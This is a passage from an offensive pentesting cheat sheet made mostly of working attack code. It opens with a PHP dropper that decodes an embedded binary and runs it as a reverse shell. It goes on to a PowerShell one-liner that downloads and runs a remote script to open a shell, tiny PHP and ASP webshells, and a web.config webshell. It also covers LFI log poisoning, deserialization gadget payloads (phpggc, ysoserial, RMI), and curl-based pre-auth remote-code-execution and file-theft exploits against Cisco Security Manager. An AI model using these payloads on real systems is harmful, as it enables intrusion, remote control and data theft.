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";
$evalCode = gzinflate(base64_decode($payload));
$evalArguments = " ".$port." ".$ip;
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "D3fa1t_shell.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$cmd = $path.$evalArguments;
$res .= "\n\nExecuting : ".$cmd."\n";
echo $res;
$output = system($cmd);
			            
?>
```

![](/files/-MXHcXjSfwqTKzw3gdmI)

### Powershell

[**ConPtyShell**](https://github.com/antonioCoco/ConPtyShell)**:** ConPtyShell - Fully Interactive Reverse Shell for Windows. Bypassing UAC and Windows Defender.

```php
stty raw -echo; (stty size; cat) | nc -lvnp 8081
powershell IEX(IWR http://10.201.69.16:8080/b.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.201.69.16 8081
```

![](/files/-MXHeMcFQQCXizCmD4l-)

Offline version: <https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1>

{% embed url="<https://github.com/antonioCoco/ConPtyShell>" %}

### Powershell nslookup

```
powershell . (nslookup -q=txt http://target_domain.pt)[-1]
powershell (finger rapeme.dude.pt)[3] | cmd
```


# Webshell

## Webshell

### PHP 15 bytes shell

```
<?=`$_GET[0]`?>
```

{% embed url="<https://pbs.twimg.com/media/FKmzH22XIAIIPdQ?format=png&name=900x900>" %}

![](/files/0mHTgFgWAjAi4t8EhE4J)

### Asp/Aspx

**One Line ASP Shell**

```aspnet
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
```

Request with: <http://target/shell.asp?cmd=ipconfig>

&#x20;[**SharPyShell**](https://github.com/antonioCoco/SharPyShell): SharPyShell - tiny and obfuscated ASP.NET webshell for C# web applications.

```php
python SharPyShell.py generate -p somepassword
python SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepassword
```

### **Running web.config as an ASP file**

Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension. In this case, it is possible to use a web.config file directly to run ASP classic codes:

```aspnet
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->
```

{% embed url="<https://github.com/tennc/webshell/tree/master/fuzzdb-webshell/asp>" %}
Examples of asp webshells.
{% endembed %}

```aspnet
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
 
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
```

Reference&#x73;**:** <https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/>

### **Log poisoning + LFI + shell**

Required: Initial LFI found :smirk\_cat:&#x20;

![](/files/-MXHheLXUfbhYi3tAi1R)

Here you will get intercepted data where we need to inject our cmd comment inside user-agent by replacing highlighted data.

![](/files/-MXHhol_wtsfiRQBBqyI)

We can also try to add via netcat:

```php
nc -nv 10.11.1.35 80
 (UNKNOWN) [10.11.1.35] 80 (http) open
   <?php echo shell_exec($_GET['cmd']);?>
   
HTTP/1.1 400 Bad Request
```

Next, get RCE by adding the **cmd** parameter:

```php
http://10.11.15.137/addguestbook.php?name=aaa&comment=aaa&cmd=dir%20&LANG=../../../../../../../xampp/apache/logs/access.log%00
```

![](/files/-MXHieG1y6czlAqchXKo)

Reference: <https://www.hackingarticles.in/apache-log-poisoning-through-lfi/>

{% embed url="<https://dheerajdeshmukh.medium.com/get-reverse-shell-through-log-poisoning-with-the-vulnerability-of-lfi-local-file-inclusion-e504e2d41f69>" %}

{% embed url="<https://shahjerry33.medium.com/rce-via-lfi-log-poisoning-the-death-potion-c0831cebc16d>" %}

{% embed url="<https://github.com/nil0x42/phpsploit>" %}


# (De)Serialization

## PHPggc

Vulnerable block of code:

```php
<?php
$data = unserialize($_GET['data']);
print $data['message'];
```

{% embed url="<https://github.com/ambionics/phpggc>" %}

```
$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                         TYPE                   VECTOR         I    
CodeIgniter4/RCE1                         4.0.0-beta.1 <= 4.0.0-rc.4      RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.0.4+            RCE (Function call)    __destruct          
Doctrine/FW1                              ?                               File write             __toString     *    
Drupal7/FD1                               7.0 < ?                         File delete            __destruct     *    
Drupal7/RCE1                              7.0.8 < ?                       RCE (Function call)    __destruct     *    
Guzzle/FW1                                6.0.0 <= 6.3.3+                 File write             __destruct          
Guzzle/INFO1                              6.0.0 <= 6.3.2                  phpinfo()              __destruct     *    
Guzzle/RCE1                               6.0.0 <= 6.3.2                  RCE (Function call)    __destruct     *    
Horde/RCE1                                <= 5.2.22                       RCE (PHP code)         __destruct     *    
Laminas/FD1                               <= 2.11.2                       File delete            __destruct          
Laravel/RCE1                              5.4.27                          RCE (Function call)    __destruct          
Laravel/RCE2                              5.5.39                          RCE (Function call)    __destruct          
Laravel/RCE3                              5.5.39                          RCE (Function call)    __destruct     *    
Laravel/RCE4                              5.5.39                          RCE (Function call)    __destruct          
Laravel/RCE5                              5.8.30                          RCE (PHP code)         __destruct     *    
Laravel/RCE6                              5.5.*                           RCE (PHP code)         __destruct     *    
Laravel/RCE7                              ? <= 8.16.1                     RCE (Function call)    __destruct     *    
Magento/FW1                               ? <= 1.9.4.0                    File write             __destruct     *    
Magento/SQLI1                             ? <= 1.9.4.0                    SQL injection          __destruct          
Monolog/RCE1                              1.18 <= 2.1.1+                  RCE (Function call)    __destruct          
Monolog/RCE2                              1.5 <= 2.1.1+                   RCE (Function call)    __destruct          
Monolog/RCE3                              1.1.0 <= 1.10.0                 RCE (Function call)    __destruct          
Monolog/RCE4                              ? <= 2.4.4+                     RCE (Command)          __destruct     *    
Phalcon/RCE1                              <= 1.2.2                        RCE                    __wakeup       *    
PHPCSFixer/FD1                            <= 2.17.3                       File delete            __destruct          
PHPCSFixer/FD2                            <= 2.17.3                       File delete            __destruct          
PHPExcel/FD1                              1.8.2+                          File delete            __destruct          
PHPExcel/FD2                              <= 1.8.1                        File delete            __destruct          
PHPExcel/FD3                              1.8.2+                          File delete            __destruct          
PHPExcel/FD4                              <= 1.8.1                        File delete            __destruct          
Pydio/Guzzle/RCE1                         < 8.2.2                         RCE (Function call)    __toString          
Slim/RCE1                                 3.8.1                           RCE (Function call)    __toString          
Smarty/FD1                                ?                               File delete            __destruct          
Smarty/SSRF1                              ?                               SSRF                   __destruct     *    
SwiftMailer/FD1                           -5.4.12+, -6.2.1+               File delete            __destruct          
SwiftMailer/FW1                           5.1.0 <= 5.4.8                  File write             __toString          
SwiftMailer/FW2                           6.0.0 <= 6.0.1                  File write             __toString          
SwiftMailer/FW3                           5.0.1                           File write             __toString          
SwiftMailer/FW4                           4.0.0 <= ?                      File write             __destruct          
Symfony/FW1                               2.5.2                           File write             DebugImport    *    
Symfony/FW2                               3.4                             File write             __destruct          
Symfony/RCE1                              3.3                             RCE (Command)          __destruct     *    
Symfony/RCE2                              2.3.42 < 2.6                    RCE (PHP code)         __destruct     *    
Symfony/RCE3                              2.6 <= 2.8.32                   RCE (PHP code)         __destruct     *    
Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7     RCE (Function call)    __destruct     *    
Symfony/RCE5                              5.2.*                           RCE (Function call)    __destruct
TCPDF/FD1                                 <= 6.3.5                        File delete            __destruct     *    
ThinkPHP/RCE1                             5.1.x-5.2.x                     RCE (Function call)    __destruct     *    
WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2             RCE (Function call)    __destruct     *    
WordPress/Dompdf/RCE2                     0.7.0 <= 0.8.4 & WP < 5.5.2     RCE (Function call)    __destruct     *    
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2    RCE (Function call)    __toString     *    
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2    RCE (Function call)    __destruct     *    
WordPress/P/EmailSubscribers/RCE1         4.0 <= 4.4.7+ & WP < 5.5.2      RCE (Function call)    __destruct     *    
WordPress/P/EverestForms/RCE1             1.0 <= 1.6.7+ & WP < 5.5.2      RCE (Function call)    __destruct     *    
WordPress/P/WooCommerce/RCE1              3.4.0 <= 4.1.0+ & WP < 5.5.2    RCE (Function call)    __destruct     *    
WordPress/P/WooCommerce/RCE2              <= 3.4.0 & WP < 5.5.2           RCE (Function call)    __destruct     *    
WordPress/P/YetAnotherStarsRating/RCE1    ? <= 1.8.6 & WP < 5.5.2         RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE1                   1.8.2+ & WP < 5.5.2             RCE (Function call)    __toString     *    
WordPress/PHPExcel/RCE2                   <= 1.8.1 & WP < 5.5.2           RCE (Function call)    __toString     *    
WordPress/PHPExcel/RCE3                   1.8.2+ & WP < 5.5.2             RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE4                   <= 1.8.1 & WP < 5.5.2           RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE5                   1.8.2+ & WP < 5.5.2             RCE (Function call)    __destruct     *    
WordPress/PHPExcel/RCE6                   <= 1.8.1 & WP < 5.5.2           RCE (Function call)    __destruct     *    
Yii/RCE1                                  1.1.20                          RCE (Function call)    __wakeup       *    
Yii2/RCE1                                 <2.0.38                         RCE (Function call)    __destruct     *    
Yii2/RCE2                                 <2.0.38                         RCE (PHP code)         __destruct     *    
ZendFramework/FD1                         ? <= 1.12.20                    File delete            __destruct          
ZendFramework/RCE1                        ? <= 1.12.20                    RCE (PHP code)         __destruct     *    
ZendFramework/RCE2                        1.11.12 <= 1.12.20              RCE (Function call)    __toString     *    
ZendFramework/RCE3                        2.0.1 <= ?                      RCE (Function call)    __destruct          
ZendFramework/RCE4                        ? <= 1.12.20                    RCE (PHP code)         __destruct     *
```

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/PHP.md>" %}

{% embed url="<https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a>" %}

{% embed url="<https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection>" %}

{% embed url="<https://notsosecure.com/remote-code-execution-via-php-unserialize/>" %}

{% embed url="<https://insomniasec.com/cdn-assets/Practical_PHP_Object_Injection.pdf>" %}

## Nmap rmi script

```
nmap --script rmi* 
```

## JSON

```
{"__type":"a"}
{"__type1":"a"}
{"__type":"System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "InnerXml":"<!DOCTYPE stuff SYSTEM 'http://gqaxjsf76ajzgrxlvj9chh21ksqje8.burpcollaborator.net'><stuff>here</stuff>"}
```

## ysoserial gadgets

```
https://github.com/frohoff/ysoserial

$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

```

## **RMIscout**

```
https://github.com/BishopFox/rmiscout

./rmiscout.sh wordlist -i lists/prototypes.txt localhost 11099
java -jar rmiscout.jar wordlist -h

examples:
# Perform wordlist-attack against remote RMI service using wordlist of function prototypes
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

# Bruteforce using method wordlist and other options
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>

# Swap object-derived types with the specified ysoserial payload and payload parameter
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

# Use GadgetProbe and a known signature to bruteforce classes on the remote classpath
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

java -jar rmiscout-1.03-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt 10.27.4.12 9050 --activation-server
java -jar rmiscout-1.03-SNAPSHOT-all.jar bruteforce -i lists/methods.txt -r void,String -p String,Object -l 1,2 10.27.4.12 9050 --activation-server
java -jar rmiscout-1.03-SNAPSHOT-all.jar exploit -s 'String echoString(String x)' -p ysoserial.payloads.Groovy1 -c "nslookup aiwjstf21seieezd11yr6ymgl7rzfo.burpcollaborator.net" -n RMIInterface 10.27.4.12 9050 --activation-server
java -jar rmiscout-1.03-SNAPSHOT-all.jar probe -s 'String echo(java.lang.Object qwewqe)' -i maven_popular.list -d "nslookup aiwjstf21seieezd11yr6ymgl7rzfo.burpcollaborator.net" -n RMIInterface 10.27.4.12 9050

maven_popular.list:
https://raw.githubusercontent.com/BishopFox/GadgetProbe/master/wordlists/maven_popular.list
```

{% embed url="<https://itnext.io/java-rmi-for-pentesters-part-two-reconnaissance-attack-against-non-jmx-registries-187a6561314d>" %}

{% embed url="<https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/>" %}

## Deserialization  CISCO devices

> Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.

Several **pre-auth vulnerabilities** were submitted to Cisco on 2020-07-13 and (according to Cisco) **patched in version 4.22** on 2020-11-10. Release notes didn't state anything about the vulnerabilities, security advisories were not published. All payload are processed in the context of **NT AUTHORITY\SYSTEM**.

Requirement: Download *commons-beanutils-1.6.1.jar* from central maven repository.

### Remote Code Execution SecretService.jsp :-)

`java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutils`

`curl -k --request POST --data-binary "@payload_CommonsBeanutils" https://[TARGET_HOST]/CSCOnm/servlet/SecretService.jsp`

### Remote Code Execution CsJaasServiceServlet

Compile JaasEncryptor.java and replace the *b64Payload* content:

```
import java.security.InvalidKeyException;
import java.util.Base64;
import com.cisco.nm.cmf.security.jaas.BlobCrypt;

public class JaasEncryptor {

	public static void main(String args[]) {
		String b64Payload = "rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVyAAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3MQAKVW5pY2FzdFJlZgAIMTAuMC4wLjIAAAG7AAAAAEBnvkQAAAAAAAAAAAAAAAAAAAB4";

		byte[] payload = Base64.getDecoder().decode(b64Payload);
		byte[] key = new byte[]{-100, 76, -23, 87, 125, 0, 5, 94, 12, 76, 37, -84, 36, 78, 123, 5};
		
		byte[] enc = BlobCrypt.encryptArray(payload, key);
		System.out.println("Encrypted payload: " + Base64.getEncoder().encodeToString(enc));
		byte[] dec = BlobCrypt.decryptArray(enc, key);
	}
}
```

Prepare JRMP Listener:

`java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 443`

`java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]]:443' | base64 -w0`

Compile encrypted payload:

`javac -cp [YOUR_PATH]]/server_jars_classes/jars.jar:./ JaasEncryptor2.java; java -cp [YOUR_PATH]/server_jars_classes/jars.jar:./ JaasEncryptor`

Send payload to Servlet with parameters *cmd=data* + new line + *data=\[ENCRYPTED\_PAYLOAD]*.

### Remote Code Execution AuthTokenServlet

Prepare JRMP Listener:

`java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"`

`java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]]:1337' > payload_JRMP1_2`

Send request:

`curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.AuthTokenServlet`

### Remote Code Execution ClientServicesServlet

Prepare JRMP listener:

`java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"`

`java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]:1337' > payload_JRMP1_3`

Send request:

`curl -k --request POST --data-binary "@payload_JRMP1_3" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.ClientServicesServlet`

### Remote Code Execution CTMServlet

`java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutils1_2`

`curl -i -s -k -X $'POST' -H $'Content-Type: application/octet-stream' -H $'CTM-URN: com-cisco-nm-vms-ipintel-IpIntelligenceApi' -H $'CTM-VERSION: 1.5' -H $'CTM-PRODUCT-ID: /C:/Program Files (x86)/CSCOpx/MDC/tomcat/vms/athena/WEB-INF/lib/' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'User-Agent: Java/1.8.0_222' -H $'Host: [TARGET_IP]' -H $'Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2' -H $'Connection: keep-alive' --data-binary "@payload_CommonsBeanutils1_2" $'https://[TARGET_IP]/athena/CTMServlet'`

### Arbitrary File Download XdmConfigRequestHandler

`GET /athena/xdmProxy/xdmConfig[RELATIVE_PATH_TO_FILE]`

### Arbitrary File Download XdmResourceRequestHandler

`GET /athena/xdmProxy/xdmResources[RELATIVE_PATH_TO_FILE]?dmTargetType=TARGET.IDS&dmOsVersion=7.&command=editConfigDelta`

### Arbitrary File Upload XmpFileUploadServlet

Write a web shell e.g.

`POST /cwhp/XmpFileUploadServlet?maxFileSize=100`

Normal multi-part e.g. writing web shell in *filename* with *../../MDC/tomcat/webapps/cwhp/testme.jsp*.

### Arbitrary File Download XmpFileDownloadServlet

`GET /cwhp/XmpFileDownloadServlet?parameterName=downloadDoc&downloadDirectory=[RELATIVE_PATH_TO_DIRECTORY]&readmeText=1`

This will respond with a ZIP file containing all files from the directory.

### Arbitrary File Download SampleFileDownloadServlet

`GET /cwhp/SampleFileDownloadServlet?downloadZipFileName=pwned&downloadFiles=README&downloadLocation=[RELATIVE_PATH_TO_DIRECTORY]`

This will respond with a ZIP file containing all files from the directory.

### Arbitrary File Download resultsFrame.jsp

`GET /athena/itf/resultsFrame.jsp?filename=[RELATIVE_PATH_TO_FILE]`

### Remote Code Execution SecretServiceServlet

See also <https://de.tenable.com/security/research/tra-2017-23>

`java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"`

